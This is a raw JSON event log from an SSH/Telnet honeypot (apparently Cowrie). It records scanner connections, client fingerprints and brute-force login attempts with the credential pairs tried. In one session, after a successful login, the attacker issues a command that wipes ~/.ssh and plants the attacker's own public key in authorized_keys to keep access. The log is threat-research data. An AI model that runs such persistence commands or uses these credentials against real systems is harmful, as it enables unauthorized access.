{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:12.037584Z","src_ip":"91.92.40.4","session":"0a05a8c611c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:12.294476Z","src_ip":"91.92.40.4","session":"0a05a8c611c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:13.378861Z","src_ip":"91.92.40.4","session":"0a05a8c611c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49928,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd60e5eb5e82","protocol":"telnet","message":"New connection: 170.64.224.25:49928 (159.203.135.109:23) [session: bd60e5eb5e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:33.783909Z"}
{"eventid":"cowrie.session.closed","duration":44.39910697937012,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:43.423737Z","src_ip":"170.64.224.25","session":"286ff8b7d5a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":26203,"dst_ip":"10.17.0.5","dst_port":22,"session":"91fdab63f56a","protocol":"ssh","message":"New connection: 180.247.63.92:26203 (10.17.0.5:22) [session: 91fdab63f56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:47.289830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:47.295115Z","src_ip":"180.247.63.92","session":"91fdab63f56a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:47.559328Z","src_ip":"180.247.63.92","session":"91fdab63f56a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"4dm1n1str4t0r","message":"login attempt [administrator/4dm1n1str4t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:48.645396Z","src_ip":"180.247.63.92","session":"91fdab63f56a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:49.912720Z","src_ip":"180.247.63.92","session":"91fdab63f56a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":56724,"dst_ip":"10.17.0.5","dst_port":22,"session":"84482be84957","protocol":"ssh","message":"New connection: 210.90.155.178:56724 (10.17.0.5:22) [session: 84482be84957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:51.805251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:51.809382Z","src_ip":"210.90.155.178","session":"84482be84957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:52.018530Z","src_ip":"210.90.155.178","session":"84482be84957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voodoo","message":"login attempt [root/voodoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:52.880488Z","src_ip":"210.90.155.178","session":"84482be84957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:54.090473Z","src_ip":"210.90.155.178","session":"84482be84957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":56616,"dst_ip":"10.17.0.5","dst_port":22,"session":"f193e1592854","protocol":"ssh","message":"New connection: 154.70.102.114:56616 (10.17.0.5:22) [session: f193e1592854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:56.572870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:56.579153Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:56.794326Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam321","message":"login attempt [steam/steam321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:57.681129Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:58.158858Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:58.161870Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:58.165406Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:58.381364Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:58.847474Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:58.849888Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:59.067459Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:59.071576Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":57114,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef185d8dd566","protocol":"ssh","message":"New connection: 154.70.102.114:57114 (10.17.0.5:22) [session: ef185d8dd566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:59.267167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:59.271685Z","src_ip":"154.70.102.114","session":"ef185d8dd566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:51:59.475564Z","src_ip":"154.70.102.114","session":"ef185d8dd566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:00.324996Z","src_ip":"154.70.102.114","session":"ef185d8dd566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:01.535747Z","src_ip":"154.70.102.114","session":"ef185d8dd566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":57700,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac1d9bf7d63","protocol":"ssh","message":"New connection: 154.70.102.114:57700 (10.17.0.5:22) [session: 9ac1d9bf7d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:01.739883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:01.747724Z","src_ip":"154.70.102.114","session":"9ac1d9bf7d63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:01.968725Z","src_ip":"154.70.102.114","session":"9ac1d9bf7d63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:02.836298Z","src_ip":"154.70.102.114","session":"9ac1d9bf7d63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:03.052386Z","src_ip":"154.70.102.114","session":"f193e1592854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:03.060755Z","src_ip":"154.70.102.114","session":"9ac1d9bf7d63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43658,"dst_ip":"159.203.135.109","dst_port":23,"session":"33e7bdf9367a","protocol":"telnet","message":"New connection: 170.64.224.25:43658 (159.203.135.109:23) [session: 33e7bdf9367a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:14.516164Z"}
{"eventid":"cowrie.session.closed","duration":56.39924120903015,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:30.183008Z","src_ip":"170.64.224.25","session":"bd60e5eb5e82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":10403,"dst_ip":"159.203.135.109","dst_port":22,"session":"38bbbc0f278f","protocol":"ssh","message":"New connection: 203.121.40.210:10403 (159.203.135.109:22) [session: 38bbbc0f278f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:42.615364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:42.619396Z","src_ip":"203.121.40.210","session":"38bbbc0f278f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:42.955379Z","src_ip":"203.121.40.210","session":"38bbbc0f278f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":53314,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5b24ee33218","protocol":"ssh","message":"New connection: 94.138.209.214:53314 (159.203.135.109:22) [session: c5b24ee33218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:52:44.059925Z"}
